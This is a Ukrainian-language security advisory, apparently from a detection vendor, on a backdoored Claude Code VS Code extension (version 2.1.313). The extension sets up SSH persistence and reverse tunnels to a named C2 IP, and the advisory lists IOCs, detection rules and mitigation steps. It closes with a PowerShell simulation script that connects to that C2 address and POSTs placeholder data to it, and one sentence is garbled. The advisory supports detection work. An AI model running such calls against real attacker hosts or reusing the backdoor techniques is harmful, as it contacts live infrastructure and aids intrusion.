Компрометація розширення Claude Code: Попередження з безпеки
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
На ринку Cursor виявлено версію 2.1.313 розширення Claude Code для VS Code зі вбудованим бекдором. Шкідливе програмне забезпечення встановлює стійкий SSH-бекдор на macOS, Linux і Windows через модифікацію authorized_keys і створення зворотних SSH-тунелів. Воно також проводить розвідку хосту для виявлення конфіденційних змінних середовища та потенційно відкритих облікових даних.
Розслідування
Phorion ідентифікував впроваджений IIFE всередині мініфікованого пакету розширення, який запускається одразу під час завантаження розширення. Розслідування показало, що шкідливе ПЗ намагається активувати SSH-сервіси та використовує специфічні ключі Ed25519 для аутентифікації жертв і встановлення зворотного тунелю. Дослідники також виявили недоліки в реалізації логіки macOS і Windows, що можуть обмежити його здатність активувати служби без наявних привілеїв.
Пом’якшення
Організації повинні негайно ідентифікувати і видалити версію 2.1.313 розширення Claude Code для VS Code. На macOS користувачі повинні вивантажити та видалити com.apple.sysmond.plist LaunchAgent. Команди безпеки також повинні перевірити конфігурації SSH і видалити svc-telemetry публічний ключ з уражених authorized_keys файлів.
Реагування
При виявленні компрометації зупиніть активні процеси тунелювання, включаючи відокремлені цикли повторних спроб оболонки та ssh or autossh процеси, що підключаються до 134.209.82.225. Видаліть артефакти стійкості, включаючи записи cron, заплановані завдання та приховані скрипти, збережені в .config каталогах. Критично важливо змінити всі облікові дані та токени API, які були розкриті через змінні середовища на ураженому хості.
Поточний потік атаки
Ми ще оновлюємо цю частину.
Виявлення
Можливі спроби комунікації IP Lookup Domain (через DNS)
Підозрілі бінарні файли/скрипти в автозапуску (через file_event)
Можливі комунікації C2 через HTTP до прямого IP з незвичайним портом (через проксі)
Прихований файл створено на Linux хості (через file_event)
IOC (HashSha256) для виявлення: Компрометація офіційного розширення Claude Code: Rада безпеки
IOC (SourceIP) для виявлення: Компрометація офіційного розширення Claude Code: Rада безпеки
IOC (DestinationIP) для виявлення: Компрометація офіційного розширення Claude Code: Rада безпеки
Виявлено підозрілу активність SSH до відомої шкідливої IP-адреси [Windows Network Connection]
Виявлення бекдора в розширенні Claude Code для VS Code на macOS [Linux File Event]
Виконання симуляції
-
Атакуючий намагається встановити стійкий C2 тунель, отримавши початковий доступ. Вони ініціюють SSH-з’єднання до The adversary, having achieved initial access, aims to establish a persistent C2 tunnel. They initiate an SSH connection to
134.209.82.225на порті22щоб створити безпечний тунель для бокового переміщення. Негайно після цього, шкідливий агент виконує HTTP POST запит доhttp://134.209.82.225:8099що містить закодовану системну інформацію. Ця конкретна послідовність з “SSH + HTTP POST до того ж IP” призначена для спрацювання умов правиладозвіл: selection_ssh та selection_http. -
Тестовий скрипт регресії:
# Скрипт симуляції: виклик підозрілої активності SSH та HTTP POST $TargetIP = "134.209.82.225" $SSHPort = 22 $HTTPPort = 8099 Write-Host "[+] Розпочато симуляцію..." -ForegroundColor Cyan # Крок 1: Симуляція з'єднання SSH (за допомогою Test-NetConnection для генерації Sysmon ID 3) Write-Host "[+] Крок 1: Симуляція вихідного з'єднання SSH до $TargetIP на порт $SSHPort" Test-NetConnection -ComputerName $TargetIP -Port $SSHPort -ErrorAction SilentlyContinue # Крок 2: Симуляція HTTP POST запиту (за допомогою Invoke-WebRequest) Write-Host "[+] Крок 2: Симуляція HTTP POST сигналу до $TargetIP на порт $HTTPPort" try { # Ми використовуємо короткий тайм-аут, щоб уникнути зависання скрипту, якщо IP недоступний $payload = @{ data = "simulated_credential_harvesting_data" } Invoke-WebRequest -Uri "http://$($TargetIP):$($HTTPPort)" -Method POST -Body ($payload | ConvertTo-Json) -TimeoutSec 5 } catch { Write-Host "[!] HTTP Запит не вдався (очікувано, якщо IP офлайн), але повинна була бути згенерована телеметрія." -ForegroundColor Yellow } Write-Host "[+] Команди симуляції виконані." -ForegroundColor Green -
Команди очищення:
# Під час цієї симуляції жодних стійких змін до системи не вносилося. # Ніяких файлів не створено, і жодних служб фактично не встановлено. Write-Host "[+] Очищення завершено. Немає артефактів для видалення." -ForegroundColor Green